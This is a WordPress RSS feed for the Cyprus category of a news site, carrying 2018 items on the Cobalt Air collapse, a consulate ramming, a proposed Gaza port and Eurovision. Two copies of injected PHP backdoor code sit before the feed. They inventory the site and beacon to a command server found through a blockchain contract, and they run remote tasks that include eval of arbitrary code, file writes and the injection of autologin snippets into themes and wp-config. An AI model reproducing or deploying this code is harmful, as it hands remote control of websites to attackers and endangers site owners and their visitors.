// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cyprus – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 18 Oct 2018 09:12:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cyprus – Brief News https://briefnews.eu 32 32 Cobalt Air COLLAPSES disrupting thousands of holidaymakers’ flights to Cyprus and Greece https://briefnews.eu/cobalt-air-collapses-disrupting-thousands-of-holidaymakers-flights-to-cyprus-and-greece/ https://briefnews.eu/cobalt-air-collapses-disrupting-thousands-of-holidaymakers-flights-to-cyprus-and-greece/#respond Thu, 18 Oct 2018 09:12:52 +0000 http://briefnews.eu/cobalt-air-collapses-disrupting-thousands-of-holidaymakers-flights-to-cyprus-and-greece/

Cobalt Air ceased operation from late last night and has announced all flights and services provided by the Cypriot airline will be cancelled.

Cobalt informed the Cyprus Ministry of Transport at 9pm on Wednesday night it would be closing down shortly after midnight on Thursday.

The carrier’s website is now down and simply displays a message alerting users to its collapse.

“Cobalt regrets to announce that it will be cancelling all Flights as of 23:50pm on October 17, 2018 due to indefinite suspension of Cobalt’s operations,” said the statement.

“As a result, future flights or services provided by Cobalt will be cancelled and will no longer operate.

“Passengers who have un-flown tickets are instructed not to go to Larnaca Airport or any departure airport tomorrow, 18 October 2018 as no Cobalt flights will operate and no Cobalt staff will be present.

“For refunds, please contact your credit card provider or Travel Agent.

“We sincerely apologise once again and would like to thank our very loyal customers for their support over the last two years of Cobalt operations.”

Passengers who are affected by Cobalt’s collapse are advised to buy an alternative single ticket in Economy and seek reimbursement from the Cyprus Ministry of Transport.

Travellers should keep all the evidence and receipts to be eligible for reimbursement.

Those due to fly with Cobalt in the next seven days “will be informed with subsequent announcements for arrangements for their repatriation,” said the Ministry in a statement on Twitter.

The Ministry has said in response to the airline’s demise that it hoped for a “smooth and best possible operation for the repatriation of stranded passengers.”

It also said it would “exert all efforts to minimise the inconvenience of the passengers.”

Cobalt, which had its main hub at Larnaca International Airport in Cyprus, flew from Gatwick, Heathrow and Manchester to Larnaca.

The carrier also flew from Gatwick to Athens and offered connections to Beirut and Tel Aviv as well as serving Frankfurt, Moscow and Paris.

Cobalt had only been in operation for two years after being set up with the aid of Chinese investors.

This came after national carrier Cyprus Airways was grounded by the EU in January 2015. It was ordered to repay €100m (the equivalent of £87m today) in illegal state aid.

It had previously been struggling with competition from low-cost airlines easyJet and Ryanair.

When Cyprus Airways stopped operations, British Airways flew stranded passengers home.

Today Wizz Air announced special fares for Cobalt customers whose flights from or to Larnaca, Cyprus or Athens, Greece and any London airport were cancelled following Cobalt’s bankruptcy. Passengers can book rescue fares from Larnaca, Athens and London from £79.

Passengers currently disrupted by Cobalt will also likely be offered “rescue fares” by BA and easyJet.

Travellers on package holidays should be booked onto an alternative airline at no extra cost but for others, the prices of flights will likely rise as news of the collapse spreads. Passengers who paid by credit card should be able to regain the lost fares.

Cobalt’s failure comes just weeks after Primera Air collapsed leaving thousands stranded abroad. 

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]]> https://briefnews.eu/cobalt-air-collapses-disrupting-thousands-of-holidaymakers-flights-to-cyprus-and-greece/feed/ 0 Man rams car into Russian consulate gates in Cyprus, attempts to storm building https://briefnews.eu/man-rams-car-into-russian-consulate-gates-in-cyprus-attempts-to-storm-building/ https://briefnews.eu/man-rams-car-into-russian-consulate-gates-in-cyprus-attempts-to-storm-building/#respond Tue, 07 Aug 2018 21:28:14 +0000 http://briefnews.eu/man-rams-car-into-russian-consulate-gates-in-cyprus-attempts-to-storm-building/

An attacker has rammed the gates of the Honorary Russian Consulate in the Cypriot city of Limassol and then attempted to break into the building, TASS reports. The man was detained by the consulate’s security and handed over to the police, who so far are not treating the incident as a terrorist act. There were no fatalities or injuries as a result of the ramming, but the consulate’s property suffered damage.  According to unconfirmed reports, the suspect was under medical supervision and may have had mental health issues.

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]]> https://briefnews.eu/man-rams-car-into-russian-consulate-gates-in-cyprus-attempts-to-storm-building/feed/ 0 ‘Take it or leave it:’ Israel proposes building goods port for Gaza in Cyprus – report https://briefnews.eu/take-it-or-leave-it-israel-proposes-building-goods-port-for-gaza-in-cyprus-report/ https://briefnews.eu/take-it-or-leave-it-israel-proposes-building-goods-port-for-gaza-in-cyprus-report/#respond Tue, 26 Jun 2018 23:34:44 +0000 http://briefnews.eu/take-it-or-leave-it-israel-proposes-building-goods-port-for-gaza-in-cyprus-report/ Tel Aviv has discussed the establishment of a seaport for the Gaza Strip in Cyprus, Israeli media reports. Israel’s proposal, now being considered by Nicosia, comes after it has actually maintained a blockade of Gaza for years.

The alleged ‘good will’ initiative is, however, far from being without conditions. The establishment of a port would take place only if the Hamas militant group, which controls Gaza, releases Israeli civilians and returns the remains of IDF soldiers.

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Jordanian Crown Prince Hussein (R) walks with Prince William upon his arrival at an airport in Amman, Jordan. © Mohammad Abu Ghosh/ Global Look Press

According to Israeli media, the proposal is indeed conditional on the release of the Israeli civilian captives held by Hamas since 2014 and 2015 as well as on the return of the bodies of two Israeli soldiers, killed in 2014 during Operation Protective Edge. “We will clearly and openly put the benefits package on the table [and say], ‘This is possible, this is the price. Take it or leave it’,” a senior Israeli defense source told the local Hadashot TV.

The proposal itself reportedly involves setting up a floating dock or even building a separate pier in Cyprus, designed to receive cargo from vessels carrying goods destined for Gaza and then shipping them to the blockaded Palestinian enclave. The goods are expected to be delivered from Cyprus to Gaza by ferry, as it lacks facilities to receive cargo ships.

All goods delivered to Cyprus would still be checked by the Israelis as part of a special monitoring mechanism, designed to prevent weapons-smuggling into the territory controlled by the Hamas militant group.

It is Israel that is actually behind the Gaza blockade. Citing the need to prevent arms-smuggling by Hamas, Tel Aviv has severely limited the inflow of necessary goods to the Palestinian enclave. In the meantime, numerous media reports, including ones published by Israeli media, warned that the situation in Gaza is rapidly deteriorating, with nearly all the drinking water sources in the area contaminated and the water crisis worsening.

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FILE PHOTO: Israel's Prime Minister Benjamin Netanyahu takes a drink of water as he addresses the UN General Assembly on September 22, 2016. © Carlo Allegri

The Israeli Defense Minister Avigdor Liberman advanced the ‘port for Gaza’ proposal to the Cypriot authorities on his trip to the island last weekend, Israeli media reported on Monday. The plan was agreed between Liberman and his Cypriot counterpart, Savvas Angelides, on Friday, the Israeli Channel 2 reported.

The plan was also then presented to the Cypriot President Nicos Anastasiades, according to the Hadashot TV report. The Cypriot authorities have confirmed that Israel has addressed them with this proposal, adding that no decision has yet been taken on the matter.

“It is an old issue which is now being re-discussed,” the Cypriot government spokesman Prodromos Prodromou told Reuters, referring to the fact that the idea of establishing a port for Gaza in Cyprus has actually been floated for years.

“There will be contacts between the government and all interested parties in the region and, possibly, a decision will be taken. At the moment no decision has been taken. The request is being examined, it hasn’t been rejected,” he added.

The Israeli authorities have not yet confirmed any concrete details relating to the proposal. “The Minister of Defense and defense establishment, along with members of the international community, are pursuing many efforts to change the reality in the Gaza Strip,” the Israeli Defense Ministry said in a statement. “Any idea relating to improving the humanitarian situation that is put on the table is conditioned on a solution to the issue of the hostages and missing persons,” it added.

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Palestinians carry a protester injured by Israeli forces at the Gaza border on June 22, 2018. © Said Khatib / AFP

Israeli media reported that a detailed working plan of the port establishment would be put together over the next three months and would be then presented “directly” to the Gaza people. “As soon as all the details are closed and ‘locked and loaded,’ we will appeal directly to the public in Gaza, going over the heads of Hamas,” a senior defense source told Hadashot TV.

Nowadays, Israel controls two land crossings into Gaza, with Egypt controlling the third one. Most commercial and humanitarian goods destined for Gaza are now transferred through one of the Israeli crossings. Goods that arrive by sea are unloaded at an Israeli port and are then transported to Gaza by trucks after being monitored by Israel.

The supposed ‘good will’ initiative comes after the Israeli authorities unleashed a violent crackdown on Palestinians taking part in the protests at the Gaza Strip dubbed the Great Return March. More than 120 Palestinian protesters have been killed by the Israeli military and 3,800 have been injured over more than two months since the start of the protests.

Meanwhile, Israel has also actually limited the entry of some goods to Gaza, which are considered to be vital to local hospitals. On June 15, Tel Aviv particularly limited the entry of helium gas to the Palestinian enclave, arguing that it had been used in attacks against Israel. It also threatened to completely halt the deliveries of the gas, which is vital for medical purposes, to Gaza if the attacks do not stop.

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]]> https://briefnews.eu/take-it-or-leave-it-israel-proposes-building-goods-port-for-gaza-in-cyprus-report/feed/ 0 Eurovision 2018 final LIVE results: UK takes on favourites Cyprus in Song Contest https://briefnews.eu/eurovision-2018-final-live-results-uk-takes-on-favourites-cyprus-in-song-contest/ https://briefnews.eu/eurovision-2018-final-live-results-uk-takes-on-favourites-cyprus-in-song-contest/#respond Sat, 12 May 2018 18:13:57 +0000 http://briefnews.eu/eurovision-2018-final-live-results-uk-takes-on-favourites-cyprus-in-song-contest/

The world’s biggest singing competition kicks off at 8pm on BBC One tonight with Graham Norton helming the commentary for Eurovision 2018.

He is taking over from radio presenter Scott Mills and This Morning host Rylan Clark-Neal after they dutifully hosted both semi-final instalments earlier this week.

It’s been a painstaking process to cut down the best finalists from a total of 43 acts in the competition, and now only the favourites remain.

